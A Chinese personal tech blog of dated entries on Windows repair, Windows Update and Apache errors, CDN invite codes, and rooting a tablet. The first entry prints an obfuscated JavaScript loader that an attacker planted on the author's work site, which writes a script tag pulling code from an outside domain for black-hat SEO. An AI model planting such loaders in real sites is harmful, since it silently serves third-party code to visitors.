Day 2502 一年多了才看见的黑帽SEO

晚上无聊,点到自家单位的网站,等待加载的时候发现一个没见过的域名【srccom.com】,印象中自己好像没有加过类似的代码,于是开始倒查,发现调用的代码来自这个JS(由于问题已经处理,所以文件已经变成404):

文件内容如下:

function CurrentXmlFrmFocus()
{
 	var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];
 	var arsOffset=[" ",":",".","/","<",">","=","'","SRC","COM","SCRIPT","HTTP"];
 	var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];
 	var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement);
 	for(var i=0;i<ardPopOpacity.length;i++)strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]];document.writeln(strgAttribute);
}
CurrentXmlFrmFocus();

绕了个弯子,稍微分析一下的话,是向当前页写入以下一行代码:

<script src=”http://srccom.com/src.src” />

于是反向访问过去,冒出一大堆代码:

由于之前也被别人写入过SEO的代码,猜测可能是一样的东西,所以没有细看,选了一个关键字在网上搜了一下,果然是做黑帽SEO的淘宝客(介绍文章在这里)。

删掉对应页面中的调用代码,然后立即回到服务器上看修改时间,发现是去年11月写入的,想起那次所在的主机被人给旁注了,应该不是自己的问题,松口气。

Day 2501 Avast与tcpip.sys

最近一次更新过病毒库之后,许多办公室被修改过连接数限制的tcpip.sys被Avast认作了【Win32/Malware-gen】,搞笑的是来源进程是Avast自己的AvastSvc.exe,当然试图操作tcpip.sys的文件也会引起警告。此时如果将文件进行移入隔离区、删除等操作,理所当然地系统就会无法上网,特征为【本地连接】中连接信息显示为空,发送、接收字节持续为0,以及尝试修复的时候显示【获取该连接的TCP/IP属性失败】等。

经过搜索找到一种重装TCP/IP协议的做法,简述如下:

1、启动注册表编辑器,删除以下项:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Winsock2

2、查找【C:\Windows\inf\nettcpip.inf】(如系统目录不同,请自行修改),找到以下内容:

Characteristics = 0xA0

将后面的0xA0修改为【0x80】。

3、打开【本地连接】属性,选择【安装】【协议】,点击【从磁盘安装】,定位到【C:\Windows\inf\nettcpip.inf】打开,然后安装提示【这个驱动没用进行数字签署】的【Microsoft TCP/IP协议】。

4、回到【本地连接】属性窗口,选择【TCP/IP协议】,点击【卸载】按钮将其删除,并按照提示重新启动计算机。

5、重启完成后,再次打开【本地连接】属性,重复第三步将TCP/IP协议安装回来即可。

P.S.建议不要直接使用netsh winsock reset,可能会引起更严重的问题。

Day 2495 Windows Fundamentals for Legacy PCs

在看Wiki的词条时发现微软曾经出过这么一个版本:Windows Fundamentals for Legacy PCs,简称WinFLP,乃是为XP年代不足以升级的PC提供的版本,并且只以授权形式提供给客户而不在市场上出售,本质上是官方精简的、带SP2的XP。

搜了一下找到了ISO,有两个文件,WFLP2k6.iso是系统安装盘WFLPMUI1.iso则是语言包

继续阅读 “Day 2495 Windows Fundamentals for Legacy PCs”

Day 2478 Windows Update 0x80070490

服务器上安装了Windows Server 2008(不是r2),最近在更新完SP2后,一直卡在KB967723和KB2443685上动弹不得,点击安装,过会儿就会失败,反复如此。众所周知服务器不打补丁不是个事儿,于是上网搜索解决方案。
首先再次证明了百度在解决技术问题时真的sucks,本来寄希望于能找到中文解答方案的,有了前车之鉴,第一页没有就换Bing了(因为最近有个数字很大,Google受其原力影响暂时被压制中)。在微软社区的这篇帖子内找到一种方法:

我也遇到这个问题。刚出现这两个更新的时候我就觉得很奇怪:因为这两个更新的发布日期是9月份,KB上也没说进行过版本更新。我就在“已安装更新列表”中找,果然发现早就安装好了。在Windows Update中,这两个更新硬是装不上,反复提示错误代码80070490。抱着试试看的想法,我先在“已安装的更新”中找到这两个更新,卸载。再从Windows Update中安装,一切搞定。再次搜索更新,这两个更新再也没出现。问题至此解决。
但到底是如何产生的,目前还没想明白。之前装过一个英语语言包,不知道同这又没有关系。

按照这个方法,还真在「已安装的更新」里面找到了这两个KB,卸载之,但继续安装的时候仍然提示失败,错误代码都没变,重启依旧。由于已经到了下班时间,遂决定明天过来解决。
今天一上班,发现Windows Update中的更新由2个变成了60个,再次安装顺利通过,不知道是不是系统刷新了需要安装的补丁列表的缘故?

Day 2476 CDNZZ邀请码

换主机之后一直遭受功夫之苦,于是转了半天找到CDNZZ,目前使用中。
这年头找个免费且靠谱的CDN不容易,所以把自己的邀请码在这里放一下,有需要请拿走。

508031626298 ← 不知道谁用了没说话
508028933159
508094364389
508045665108
508062627063
508067056364
508031227315
508069183162
508076712505
508079450291

P.S.虽然不知道会不会有人搜到这里,不过如果有人使用了以上邀请码,请在下方评论告知,以便标记为已使用,谢谢!

Day 2468 Apache Win32DisableAcceptEx

前阵子以及今天,单位的两台使用Apache的服务器相继在error log里冒出10038错误「在一个非套接字上尝试了一个操作」的记录,前一台服务器在按照重置Winsock之后成功解决,后一台因为需要保持其上运行的一些应用在线,所以想尽量保持服务器开机状态,于是上网找方法。
一番搜寻后,基本上都是如下的解决方案(这次百度居然也不是只有垃圾回答了;另外文章里出现的排版错误和书写错误都没有修改,「尊重」原文):

  在网上查了一下,发现很多人碰到这个情况,原因是Apache 的AcceptEx在window下会出现这种问题,只在APAche2.0.49以上版本会有这中问题。 《Apache 2_2 中文版参考手册》上说:“AcceptEx()是一个微软的WinSock2 API ,通过使用BSD风格的accept() API提供了性能改善。一些流行的Windows产品,比如防病毒软件或虚拟专用网络软件,会干扰AcceptEx()的正确操作。如果你遇到类似于如下 的错误:一般的解决办法是关闭 AcceptEx()”。也就是说,可能是 Windows Update 或是防火墙、防毒软件更新了某些网络原件,造成 Microsoft WinSock v2 API 动作不正常,会干扰WinSock2 API,就会影响AcceptEx()的正确操作,就可能出现上面所出现的问题。但是关闭会影响Apache的性能。需要自己权衡利弊。因此如果没有什么 错误发生,最好还是不要随便关闭这个功能比较好吧。
解决办法:在httpd.conf文件中添加 Win32DisableAcceptEx 标记,如下:
<IfModule mpm_winnt.c>
ThreadsPerChild 1000
MaxRequestsPerChild 10000
Win32DisableAcceptEx
</IfModule>
这样可以允许并发连接更大一些。同时性能上也不会有明显的降低. 一般,这样设置基本就能搞定,但是我碰到的情况,就是想上面那样关闭AcceptEx,也会出现类似问题,Apache还是不能正常运作, error.log 出项了大量的:Sat Dec 24 17:21:28 2006] [warn] (OS 64)指定的网络名不再可用。 : winnt_accept: Asynchronous AcceptEx failed.。又找了一下,发现了如下的一种解决办法,我试了试,果然可以,而且在多台服务器上试过,只要出现了AcceptEx 的问题,就能解决,具体设置为: 1、网上邻居-;本地连接-;属性-;internet协议(TCP/IP)-;属性-;高级-;wins标签-;去掉启用LMhosts查询前的勾. 2、控制面版-;windows防火墙-;高级标签-;本地连接设置-;服务的标签里勾选安全Web服务器(HTTPS)。 3、然后退出Apache,再打开启动就可以了 ,一开始我没有退出,直接在那重启,就是不可以,一定要先停止,在开启即可。

不过这样修改之后并没有解决问题,连后面对本地连接和防火墙的修改也做了。疑惑之下,为了尽快处理,还是使用netsh winsock reset解决了问题。

Day 2420 「交互式服务检测」是什么,为嘛会在任务栏上闪烁?

翻译练习,原文在此:http://blogs.msdn.com/b/patricka/archive/2010/04/27/what-is-interactive-services-detection-and-why-is-it-blinking-at-me.aspx

您是否在任务栏上看到过这个图标一闪一闪的?

而当单击这个图标后,以下对话框将出现:


如果点击「查看消息」,屏幕会一闪然后转到一个空白桌面,可能会有些对话框冒出来。

继续阅读 “Day 2420 「交互式服务检测」是什么,为嘛会在任务栏上闪烁?”

Day 2416 诡异ICS平板「南都PAI」的Root

单位为了研究所谓「全媒体」,购买了一部南方报业集团出品的「南都PAI」,就是下图这个东西:

此机器具体配置为:A8(1Ghz)、1GB内存、8GB闪存、1024×768分辨率,运行ICS 4.0.3,官方售价912元,实在是个不折不扣的山寨机,实际使用体验也不太怎么样,触摸屏反应有点迟钝,机器本身的速度也没有好到哪里去。

想必很多人拿到安卓设备第一件事就是root删预装软件,但这款平板相对比较奇葩:官方网站上只有广告和售卖链接,不要说技术支持了,连ADB驱动都没得下。在Google官方ADB认不出来这机器的情况下,经过多方搜索,终于用一款型号为CT705的平板驱动连接成功。

原帖在这里,相应的工具在这里下载(4shared),本地备份点击此处下载

首先为平板指定安装压缩包内的ADB驱动,然后在平板上启用调试模式(设置-开发人员选项-调试模式),使用root(本来是Xperia的平板用的)工具即可。